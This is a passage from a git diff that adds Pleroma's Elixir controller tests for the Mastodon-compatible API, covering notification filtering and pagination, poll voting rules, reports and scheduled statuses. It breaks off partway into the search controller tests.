+ assert [%{"status" => %{"content" => response}} | _rest] = + json_response_and_validate_schema(conn, 200) + + assert response == expected_response + end + + test "by default, does not contain pleroma:chat_mention" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, _activity} = CommonAPI.post_chat_message(other_user, user, "hey") + + result = + conn + |> get("/api/v1/notifications") + |> json_response_and_validate_schema(200) + + assert [] == result + + result = + conn + |> get("/api/v1/notifications?include_types[]=pleroma:chat_mention") + |> json_response_and_validate_schema(200) + + assert [_] = result + end + + test "getting a single notification" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + + conn = get(conn, "/api/v1/notifications/#{notification.id}") + + expected_response = + "hi @#{user.nickname}" + + assert %{"status" => %{"content" => response}} = json_response_and_validate_schema(conn, 200) + assert response == expected_response + end + + test "dismissing a single notification (deprecated endpoint)" do + %{user: user, conn: conn} = oauth_access(["write:notifications"]) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/json") + |> post("/api/v1/notifications/dismiss", %{"id" => to_string(notification.id)}) + + assert %{} = json_response_and_validate_schema(conn, 200) + end + + test "dismissing a single notification" do + %{user: user, conn: conn} = oauth_access(["write:notifications"]) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/notifications/#{notification.id}/dismiss") + + assert %{} = json_response_and_validate_schema(conn, 200) + end + + test "clearing all notifications" do + %{user: user, conn: conn} = oauth_access(["write:notifications", "read:notifications"]) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + {:ok, [_notification]} = Notification.create_notifications(activity) + + ret_conn = post(conn, "/api/v1/notifications/clear") + + assert %{} = json_response_and_validate_schema(ret_conn, 200) + + ret_conn = get(conn, "/api/v1/notifications") + + assert all = json_response_and_validate_schema(ret_conn, 200) + assert all == [] + end + + test "paginates notifications using min_id, since_id, max_id, and limit" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, activity1} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + {:ok, activity2} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + {:ok, activity3} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + {:ok, activity4} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + + notification1_id = get_notification_id_by_activity(activity1) + notification2_id = get_notification_id_by_activity(activity2) + notification3_id = get_notification_id_by_activity(activity3) + notification4_id = get_notification_id_by_activity(activity4) + + conn = assign(conn, :user, user) + + # min_id + result = + conn + |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result + + # since_id + result = + conn + |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + + # max_id + result = + conn + |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result + end + + describe "exclude_visibilities" do + test "filters notifications for mentions" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, public_activity} = + CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "public"}) + + {:ok, direct_activity} = + CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "direct"}) + + {:ok, unlisted_activity} = + CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "unlisted"}) + + {:ok, private_activity} = + CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "private"}) + + query = params_to_query(%{exclude_visibilities: ["public", "unlisted", "private"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) + assert id == direct_activity.id + + query = params_to_query(%{exclude_visibilities: ["public", "unlisted", "direct"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) + assert id == private_activity.id + + query = params_to_query(%{exclude_visibilities: ["public", "private", "direct"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) + assert id == unlisted_activity.id + + query = params_to_query(%{exclude_visibilities: ["unlisted", "private", "direct"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"status" => %{"id" => id}}] = json_response_and_validate_schema(conn_res, 200) + assert id == public_activity.id + end + + test "filters notifications for Like activities" do + user = insert(:user) + %{user: other_user, conn: conn} = oauth_access(["read:notifications"]) + + {:ok, public_activity} = CommonAPI.post(other_user, %{status: ".", visibility: "public"}) + + {:ok, direct_activity} = + CommonAPI.post(other_user, %{status: "@#{user.nickname}", visibility: "direct"}) + + {:ok, unlisted_activity} = + CommonAPI.post(other_user, %{status: ".", visibility: "unlisted"}) + + {:ok, private_activity} = CommonAPI.post(other_user, %{status: ".", visibility: "private"}) + + {:ok, _} = CommonAPI.favorite(user, public_activity.id) + {:ok, _} = CommonAPI.favorite(user, direct_activity.id) + {:ok, _} = CommonAPI.favorite(user, unlisted_activity.id) + {:ok, _} = CommonAPI.favorite(user, private_activity.id) + + activity_ids = + conn + |> get("/api/v1/notifications?exclude_visibilities[]=direct") + |> json_response_and_validate_schema(200) + |> Enum.map(& &1["status"]["id"]) + + assert public_activity.id in activity_ids + assert unlisted_activity.id in activity_ids + assert private_activity.id in activity_ids + refute direct_activity.id in activity_ids + + activity_ids = + conn + |> get("/api/v1/notifications?exclude_visibilities[]=unlisted") + |> json_response_and_validate_schema(200) + |> Enum.map(& &1["status"]["id"]) + + assert public_activity.id in activity_ids + refute unlisted_activity.id in activity_ids + assert private_activity.id in activity_ids + assert direct_activity.id in activity_ids + + activity_ids = + conn + |> get("/api/v1/notifications?exclude_visibilities[]=private") + |> json_response_and_validate_schema(200) + |> Enum.map(& &1["status"]["id"]) + + assert public_activity.id in activity_ids + assert unlisted_activity.id in activity_ids + refute private_activity.id in activity_ids + assert direct_activity.id in activity_ids + + activity_ids = + conn + |> get("/api/v1/notifications?exclude_visibilities[]=public") + |> json_response_and_validate_schema(200) + |> Enum.map(& &1["status"]["id"]) + + refute public_activity.id in activity_ids + assert unlisted_activity.id in activity_ids + assert private_activity.id in activity_ids + assert direct_activity.id in activity_ids + end + + test "filters notifications for Announce activities" do + user = insert(:user) + %{user: other_user, conn: conn} = oauth_access(["read:notifications"]) + + {:ok, public_activity} = CommonAPI.post(other_user, %{status: ".", visibility: "public"}) + + {:ok, unlisted_activity} = + CommonAPI.post(other_user, %{status: ".", visibility: "unlisted"}) + + {:ok, _} = CommonAPI.repeat(public_activity.id, user) + {:ok, _} = CommonAPI.repeat(unlisted_activity.id, user) + + activity_ids = + conn + |> get("/api/v1/notifications?exclude_visibilities[]=unlisted") + |> json_response_and_validate_schema(200) + |> Enum.map(& &1["status"]["id"]) + + assert public_activity.id in activity_ids + refute unlisted_activity.id in activity_ids + end + + test "doesn't return less than the requested amount of records when the user's reply is liked" do + user = insert(:user) + %{user: other_user, conn: conn} = oauth_access(["read:notifications"]) + + {:ok, mention} = + CommonAPI.post(user, %{status: "@#{other_user.nickname}", visibility: "public"}) + + {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "public"}) + + {:ok, reply} = + CommonAPI.post(other_user, %{ + status: ".", + visibility: "public", + in_reply_to_status_id: activity.id + }) + + {:ok, _favorite} = CommonAPI.favorite(user, reply.id) + + activity_ids = + conn + |> get("/api/v1/notifications?exclude_visibilities[]=direct&limit=2") + |> json_response_and_validate_schema(200) + |> Enum.map(& &1["status"]["id"]) + + assert [reply.id, mention.id] == activity_ids + end + end + + test "filters notifications using exclude_types" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, mention_activity} = CommonAPI.post(other_user, %{status: "hey @#{user.nickname}"}) + {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, favorite_activity} = CommonAPI.favorite(other_user, create_activity.id) + {:ok, reblog_activity} = CommonAPI.repeat(create_activity.id, other_user) + {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) + + mention_notification_id = get_notification_id_by_activity(mention_activity) + favorite_notification_id = get_notification_id_by_activity(favorite_activity) + reblog_notification_id = get_notification_id_by_activity(reblog_activity) + follow_notification_id = get_notification_id_by_activity(follow_activity) + + query = params_to_query(%{exclude_types: ["mention", "favourite", "reblog"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"id" => ^follow_notification_id}] = json_response_and_validate_schema(conn_res, 200) + + query = params_to_query(%{exclude_types: ["favourite", "reblog", "follow"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"id" => ^mention_notification_id}] = + json_response_and_validate_schema(conn_res, 200) + + query = params_to_query(%{exclude_types: ["reblog", "follow", "mention"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"id" => ^favorite_notification_id}] = + json_response_and_validate_schema(conn_res, 200) + + query = params_to_query(%{exclude_types: ["follow", "mention", "favourite"]}) + conn_res = get(conn, "/api/v1/notifications?" <> query) + + assert [%{"id" => ^reblog_notification_id}] = json_response_and_validate_schema(conn_res, 200) + end + + test "filters notifications using include_types" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, mention_activity} = CommonAPI.post(other_user, %{status: "hey @#{user.nickname}"}) + {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) + {:ok, favorite_activity} = CommonAPI.favorite(other_user, create_activity.id) + {:ok, reblog_activity} = CommonAPI.repeat(create_activity.id, other_user) + {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) + + mention_notification_id = get_notification_id_by_activity(mention_activity) + favorite_notification_id = get_notification_id_by_activity(favorite_activity) + reblog_notification_id = get_notification_id_by_activity(reblog_activity) + follow_notification_id = get_notification_id_by_activity(follow_activity) + + conn_res = get(conn, "/api/v1/notifications?include_types[]=follow") + + assert [%{"id" => ^follow_notification_id}] = json_response_and_validate_schema(conn_res, 200) + + conn_res = get(conn, "/api/v1/notifications?include_types[]=mention") + + assert [%{"id" => ^mention_notification_id}] = + json_response_and_validate_schema(conn_res, 200) + + conn_res = get(conn, "/api/v1/notifications?include_types[]=favourite") + + assert [%{"id" => ^favorite_notification_id}] = + json_response_and_validate_schema(conn_res, 200) + + conn_res = get(conn, "/api/v1/notifications?include_types[]=reblog") + + assert [%{"id" => ^reblog_notification_id}] = json_response_and_validate_schema(conn_res, 200) + + result = conn |> get("/api/v1/notifications") |> json_response_and_validate_schema(200) + + assert length(result) == 4 + + query = params_to_query(%{include_types: ["follow", "mention", "favourite", "reblog"]}) + + result = + conn + |> get("/api/v1/notifications?" <> query) + |> json_response_and_validate_schema(200) + + assert length(result) == 4 + end + + test "destroy multiple" do + %{user: user, conn: conn} = oauth_access(["read:notifications", "write:notifications"]) + other_user = insert(:user) + + {:ok, activity1} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + {:ok, activity2} = CommonAPI.post(other_user, %{status: "hi @#{user.nickname}"}) + {:ok, activity3} = CommonAPI.post(user, %{status: "hi @#{other_user.nickname}"}) + {:ok, activity4} = CommonAPI.post(user, %{status: "hi @#{other_user.nickname}"}) + + notification1_id = get_notification_id_by_activity(activity1) + notification2_id = get_notification_id_by_activity(activity2) + notification3_id = get_notification_id_by_activity(activity3) + notification4_id = get_notification_id_by_activity(activity4) + + result = + conn + |> get("/api/v1/notifications") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result + + conn2 = + conn + |> assign(:user, other_user) + |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:notifications"])) + + result = + conn2 + |> get("/api/v1/notifications") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + + query = params_to_query(%{ids: [notification1_id, notification2_id]}) + conn_destroy = delete(conn, "/api/v1/notifications/destroy_multiple?" <> query) + + assert json_response_and_validate_schema(conn_destroy, 200) == %{} + + result = + conn2 + |> get("/api/v1/notifications") + |> json_response_and_validate_schema(:ok) + + assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + end + + test "doesn't see notifications after muting user with notifications" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + user2 = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(user, user2) + {:ok, _} = CommonAPI.post(user2, %{status: "hey @#{user.nickname}"}) + + ret_conn = get(conn, "/api/v1/notifications") + + assert length(json_response_and_validate_schema(ret_conn, 200)) == 1 + + {:ok, _user_relationships} = User.mute(user, user2) + + conn = get(conn, "/api/v1/notifications") + + assert json_response_and_validate_schema(conn, 200) == [] + end + + test "see notifications after muting user without notifications" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + user2 = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(user, user2) + {:ok, _} = CommonAPI.post(user2, %{status: "hey @#{user.nickname}"}) + + ret_conn = get(conn, "/api/v1/notifications") + + assert length(json_response_and_validate_schema(ret_conn, 200)) == 1 + + {:ok, _user_relationships} = User.mute(user, user2, false) + + conn = get(conn, "/api/v1/notifications") + + assert length(json_response_and_validate_schema(conn, 200)) == 1 + end + + test "see notifications after muting user with notifications and with_muted parameter" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + user2 = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(user, user2) + {:ok, _} = CommonAPI.post(user2, %{status: "hey @#{user.nickname}"}) + + ret_conn = get(conn, "/api/v1/notifications") + + assert length(json_response_and_validate_schema(ret_conn, 200)) == 1 + + {:ok, _user_relationships} = User.mute(user, user2) + + conn = get(conn, "/api/v1/notifications?with_muted=true") + + assert length(json_response_and_validate_schema(conn, 200)) == 1 + end + + @tag capture_log: true + test "see move notifications" do + old_user = insert(:user) + new_user = insert(:user, also_known_as: [old_user.ap_id]) + %{user: follower, conn: conn} = oauth_access(["read:notifications"]) + + old_user_url = old_user.ap_id + + body = + File.read!("test/fixtures/users_mock/localhost.json") + |> String.replace("{{nickname}}", old_user.nickname) + |> Jason.encode!() + + Tesla.Mock.mock(fn + %{method: :get, url: ^old_user_url} -> + %Tesla.Env{status: 200, body: body} + end) + + User.follow(follower, old_user) + Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user) + Pleroma.Tests.ObanHelpers.perform_all() + + conn = get(conn, "/api/v1/notifications") + + assert length(json_response_and_validate_schema(conn, 200)) == 1 + end + + describe "link headers" do + test "preserves parameters in link headers" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + other_user = insert(:user) + + {:ok, activity1} = + CommonAPI.post(other_user, %{ + status: "hi @#{user.nickname}", + visibility: "public" + }) + + {:ok, activity2} = + CommonAPI.post(other_user, %{ + status: "hi @#{user.nickname}", + visibility: "public" + }) + + notification1 = Repo.get_by(Notification, activity_id: activity1.id) + notification2 = Repo.get_by(Notification, activity_id: activity2.id) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/notifications?limit=5") + + assert [link_header] = get_resp_header(conn, "link") + assert link_header =~ ~r/limit=5/ + assert link_header =~ ~r/min_id=#{notification2.id}/ + assert link_header =~ ~r/max_id=#{notification1.id}/ + end + end + + describe "from specified user" do + test "account_id" do + %{user: user, conn: conn} = oauth_access(["read:notifications"]) + + %{id: account_id} = other_user1 = insert(:user) + other_user2 = insert(:user) + + {:ok, _activity} = CommonAPI.post(other_user1, %{status: "hi @#{user.nickname}"}) + {:ok, _activity} = CommonAPI.post(other_user2, %{status: "bye @#{user.nickname}"}) + + assert [%{"account" => %{"id" => ^account_id}}] = + conn + |> assign(:user, user) + |> get("/api/v1/notifications?account_id=#{account_id}") + |> json_response_and_validate_schema(200) + + assert %{"error" => "Account is not found"} = + conn + |> assign(:user, user) + |> get("/api/v1/notifications?account_id=cofe") + |> json_response_and_validate_schema(404) + end + end + + defp get_notification_id_by_activity(%{id: id}) do + Notification + |> Repo.get_by(activity_id: id) + |> Map.get(:id) + |> to_string() + end + + defp params_to_query(%{} = params) do + Enum.map_join(params, "&", fn + {k, v} when is_list(v) -> Enum.map_join(v, "&", &"#{k}[]=#{&1}") + {k, v} -> k <> "=" <> v + end) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/poll_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/poll_controller_test.exs new file mode 100644 index 000000000..f41de6448 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/poll_controller_test.exs @@ -0,0 +1,171 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.PollControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + describe "GET /api/v1/polls/:id" do + setup do: oauth_access(["read:statuses"]) + + test "returns poll entity for object id", %{user: user, conn: conn} do + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Pleroma does", + poll: %{options: ["what Mastodon't", "n't what Mastodoes"], expires_in: 20} + }) + + object = Object.normalize(activity) + + conn = get(conn, "/api/v1/polls/#{object.id}") + + response = json_response_and_validate_schema(conn, 200) + id = to_string(object.id) + assert %{"id" => ^id, "expired" => false, "multiple" => false} = response + end + + test "does not expose polls for private statuses", %{conn: conn} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(other_user, %{ + status: "Pleroma does", + poll: %{options: ["what Mastodon't", "n't what Mastodoes"], expires_in: 20}, + visibility: "private" + }) + + object = Object.normalize(activity) + + conn = get(conn, "/api/v1/polls/#{object.id}") + + assert json_response_and_validate_schema(conn, 404) + end + end + + describe "POST /api/v1/polls/:id/votes" do + setup do: oauth_access(["write:statuses"]) + + test "votes are added to the poll", %{conn: conn} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(other_user, %{ + status: "A very delicious sandwich", + poll: %{ + options: ["Lettuce", "Grilled Bacon", "Tomato"], + expires_in: 20, + multiple: true + } + }) + + object = Object.normalize(activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1, 2]}) + + assert json_response_and_validate_schema(conn, 200) + object = Object.get_by_id(object.id) + + assert Enum.all?(object.data["anyOf"], fn %{"replies" => %{"totalItems" => total_items}} -> + total_items == 1 + end) + end + + test "author can't vote", %{user: user, conn: conn} do + {:ok, activity} = + CommonAPI.post(user, %{ + status: "Am I cute?", + poll: %{options: ["Yes", "No"], expires_in: 20} + }) + + object = Object.normalize(activity) + + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [1]}) + |> json_response_and_validate_schema(422) == %{"error" => "Poll's author can't vote"} + + object = Object.get_by_id(object.id) + + refute Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 1 + end + + test "does not allow multiple choices on a single-choice question", %{conn: conn} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(other_user, %{ + status: "The glass is", + poll: %{options: ["half empty", "half full"], expires_in: 20} + }) + + object = Object.normalize(activity) + + assert conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0, 1]}) + |> json_response_and_validate_schema(422) == %{"error" => "Too many choices"} + + object = Object.get_by_id(object.id) + + refute Enum.any?(object.data["oneOf"], fn %{"replies" => %{"totalItems" => total_items}} -> + total_items == 1 + end) + end + + test "does not allow choice index to be greater than options count", %{conn: conn} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(other_user, %{ + status: "Am I cute?", + poll: %{options: ["Yes", "No"], expires_in: 20} + }) + + object = Object.normalize(activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [2]}) + + assert json_response_and_validate_schema(conn, 422) == %{"error" => "Invalid indices"} + end + + test "returns 404 error when object is not exist", %{conn: conn} do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/polls/1/votes", %{"choices" => [0]}) + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + + test "returns 404 when poll is private and not available for user", %{conn: conn} do + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(other_user, %{ + status: "Am I cute?", + poll: %{options: ["Yes", "No"], expires_in: 20}, + visibility: "private" + }) + + object = Object.normalize(activity) + + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/polls/#{object.id}/votes", %{"choices" => [0]}) + + assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} + end + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/report_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/report_controller_test.exs new file mode 100644 index 000000000..6636cff96 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/report_controller_test.exs @@ -0,0 +1,95 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ReportControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + setup do: oauth_access(["write:reports"]) + + setup do + target_user = insert(:user) + + {:ok, activity} = CommonAPI.post(target_user, %{status: "foobar"}) + + [target_user: target_user, activity: activity] + end + + test "submit a basic report", %{conn: conn, target_user: target_user} do + assert %{"action_taken" => false, "id" => _} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/reports", %{"account_id" => target_user.id}) + |> json_response_and_validate_schema(200) + end + + test "submit a report with statuses and comment", %{ + conn: conn, + target_user: target_user, + activity: activity + } do + assert %{"action_taken" => false, "id" => _} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/reports", %{ + "account_id" => target_user.id, + "status_ids" => [activity.id], + "comment" => "bad status!", + "forward" => "false" + }) + |> json_response_and_validate_schema(200) + end + + test "account_id is required", %{ + conn: conn, + activity: activity + } do + assert %{"error" => "Missing field: account_id."} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/reports", %{"status_ids" => [activity.id]}) + |> json_response_and_validate_schema(400) + end + + test "comment must be up to the size specified in the config", %{ + conn: conn, + target_user: target_user + } do + max_size = Pleroma.Config.get([:instance, :max_report_comment_size], 1000) + comment = String.pad_trailing("a", max_size + 1, "a") + + error = %{"error" => "Comment must be up to #{max_size} characters"} + + assert ^error = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/reports", %{"account_id" => target_user.id, "comment" => comment}) + |> json_response_and_validate_schema(400) + end + + test "returns error when account is not exist", %{ + conn: conn, + activity: activity + } do + conn = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/reports", %{"status_ids" => [activity.id], "account_id" => "foo"}) + + assert json_response_and_validate_schema(conn, 400) == %{"error" => "Account not found"} + end + + test "doesn't fail if an admin has no email", %{conn: conn, target_user: target_user} do + insert(:user, %{is_admin: true, email: nil}) + + assert %{"action_taken" => false, "id" => _} = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/reports", %{"account_id" => target_user.id}) + |> json_response_and_validate_schema(200) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/scheduled_activity_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/scheduled_activity_controller_test.exs new file mode 100644 index 000000000..1ff871c89 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/scheduled_activity_controller_test.exs @@ -0,0 +1,139 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ScheduledActivityControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Repo + alias Pleroma.ScheduledActivity + + import Pleroma.Factory + import Ecto.Query + + setup do: clear_config([ScheduledActivity, :enabled]) + + test "shows scheduled activities" do + %{user: user, conn: conn} = oauth_access(["read:statuses"]) + + scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string() + scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string() + scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string() + scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string() + + # min_id + conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}") + + result = json_response_and_validate_schema(conn_res, 200) + assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result + + # since_id + conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}") + + result = json_response_and_validate_schema(conn_res, 200) + assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result + + # max_id + conn_res = get(conn, "/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}") + + result = json_response_and_validate_schema(conn_res, 200) + assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result + end + + test "shows a scheduled activity" do + %{user: user, conn: conn} = oauth_access(["read:statuses"]) + scheduled_activity = insert(:scheduled_activity, user: user) + + res_conn = get(conn, "/api/v1/scheduled_statuses/#{scheduled_activity.id}") + + assert %{"id" => scheduled_activity_id} = json_response_and_validate_schema(res_conn, 200) + assert scheduled_activity_id == scheduled_activity.id |> to_string() + + res_conn = get(conn, "/api/v1/scheduled_statuses/404") + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(res_conn, 404) + end + + test "updates a scheduled activity" do + Pleroma.Config.put([ScheduledActivity, :enabled], true) + %{user: user, conn: conn} = oauth_access(["write:statuses"]) + + scheduled_at = Timex.shift(NaiveDateTime.utc_now(), minutes: 60) + + {:ok, scheduled_activity} = + ScheduledActivity.create( + user, + %{ + scheduled_at: scheduled_at, + params: build(:note).data + } + ) + + job = Repo.one(from(j in Oban.Job, where: j.queue == "scheduled_activities")) + + assert job.args == %{"activity_id" => scheduled_activity.id} + assert DateTime.truncate(job.scheduled_at, :second) == to_datetime(scheduled_at) + + new_scheduled_at = + NaiveDateTime.utc_now() + |> Timex.shift(minutes: 120) + |> Timex.format!("%Y-%m-%dT%H:%M:%S.%fZ", :strftime) + + res_conn = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{ + scheduled_at: new_scheduled_at + }) + + assert %{"scheduled_at" => expected_scheduled_at} = + json_response_and_validate_schema(res_conn, 200) + + assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at) + job = refresh_record(job) + + assert DateTime.truncate(job.scheduled_at, :second) == to_datetime(new_scheduled_at) + + res_conn = + conn + |> put_req_header("content-type", "application/json") + |> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at}) + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(res_conn, 404) + end + + test "deletes a scheduled activity" do + Pleroma.Config.put([ScheduledActivity, :enabled], true) + %{user: user, conn: conn} = oauth_access(["write:statuses"]) + scheduled_at = Timex.shift(NaiveDateTime.utc_now(), minutes: 60) + + {:ok, scheduled_activity} = + ScheduledActivity.create( + user, + %{ + scheduled_at: scheduled_at, + params: build(:note).data + } + ) + + job = Repo.one(from(j in Oban.Job, where: j.queue == "scheduled_activities")) + + assert job.args == %{"activity_id" => scheduled_activity.id} + + res_conn = + conn + |> assign(:user, user) + |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") + + assert %{} = json_response_and_validate_schema(res_conn, 200) + refute Repo.get(ScheduledActivity, scheduled_activity.id) + refute Repo.get(Oban.Job, job.id) + + res_conn = + conn + |> assign(:user, user) + |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}") + + assert %{"error" => "Record not found"} = json_response_and_validate_schema(res_conn, 404) + end +end diff --git a/test/pleroma/web/mastodon_api/controllers/search_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/search_controller_test.exs new file mode 100644 index 000000000..04dc6f445 --- /dev/null +++ b/test/pleroma/web/mastodon_api/controllers/search_controller_test.exs @@ -0,0 +1,413 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.SearchControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Object + alias Pleroma.Web + alias Pleroma.Web.CommonAPI + import Pleroma.Factory + import ExUnit.CaptureLog + import Tesla.Mock + import Mock + + setup_all do + mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe ".search2" do + test "it returns empty result if user or status search return undefined error", %{conn: conn} do + with_mocks [ + {Pleroma.User, [], [search: fn _q, _o -> raise "Oops" end]}, + {Pleroma.Activity, [], [search: fn _u, _q, _o -> raise "Oops" end]} + ] do + capture_log(fn -> + results = + conn + |> get("/api/v2/search?q=2hu") + |> json_response_and_validate_schema(200) + + assert results["accounts"] == [] + assert results["statuses"] == [] + end) =~ + "[error] Elixir.Pleroma.Web.MastodonAPI.SearchController search error: 